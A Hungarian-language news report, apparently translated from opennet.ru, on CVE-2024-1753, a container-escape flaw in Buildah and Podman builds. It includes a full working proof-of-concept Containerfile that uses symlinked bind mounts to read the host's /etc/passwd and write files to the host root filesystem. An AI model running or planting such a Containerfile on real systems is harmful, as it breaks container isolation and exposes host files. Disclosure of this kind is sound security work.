A Buildah és Podman csomagokban egy CVE-2024-1753 jelű sérülékenységet fedeztek fel, amely lehetővé teszi a gazda környezet fájlrendszerének teljes hozzáférését a konténer építési szakaszában, amikor root jogokkal fut. A SELinux-szal felszerelt rendszereken a gazda fájlrendszerhez való hozzáférés írásvédett módra korlátozódik. A javítás jelenleg egy javítócsomag formájában érhető el, amelyet néhány perccel ezelőtt fogadtak el a Buildah kódalapjában.
A sérülékenységet az okozza, hogy a fájlrendszer egyes részeinek a »mount —bind« parancs segítségével történő csatolásakor a RUN szakasz építése során a forrás könyvtár argumentumát (»source=« paraméter) nem ellenőrzik a gyökér fájlrendszeren. A kártékony támadó által elkészített Containerfile konfigurációs fájl használhat egy konténer képet, amelyben a csatlakoztatás forrás könyvtárát szimbolikus hivatkozásként adták meg a gyökér fájlrendszerre. Ebben az esetben a csatolási művelet a gazda környezet gyökér fájlrendszerének csatolásához vezet, ami lehetővé teszi a RUN szakaszában a gazda fájlrendszer teljes hozzáférésének megszerzését és a konténerből való kijutást a »buildah build« vagy a »podman build« parancsok segítségével.
Egy kártékony Containerfile példája, amelynek a »podman build -f ~\/Containerfile .« parancs segítségével történő építése a \/etc\/passwd tartalmának megjelenítéséhez és a \/BIND_BREAKEOUT és \/etc\/BIND_BREAKOUT2 fájlok létrehozásához vezet a gazda környezetben: FROM alpine as base RUN ln -s \/ \/rootdir RUN ln -s \/etc \/etc2 FROM alpine RUN echo «ls container root» RUN ls -l \/ RUN echo «Az exploit segítségével a gazda gyökér fájlját, nem a konténer gyökér fájlját mutatja, és létrehoz egy \/BIND_BREAKOUT fájlt a gazdán» RUN —mount=type=bind,from=base,source=\/rootdir,destination=\/exploit,rw ls -l \/exploit; touch \/exploit\/BIND_BREAKOUT; ls -l \/exploit RUN echo «Az exploit segítségével a gazda \/etc\/passwd fájlját, nem a konténerét mutatja, és létrehoz egy \/BIND_BREAKOUT2 fájlt a gazdán található \/etc könyvtárban» RUN —mount=type=bind,rw,source=\/etc2,destination=\/etc2,from=base ls -l \/; ls -l \/etc2\/passwd; cat \/etc2\/passwd; touch \/etc2\/BIND_BREAKOUT2; ls -l \/etc2
Forrás: opennet.ru
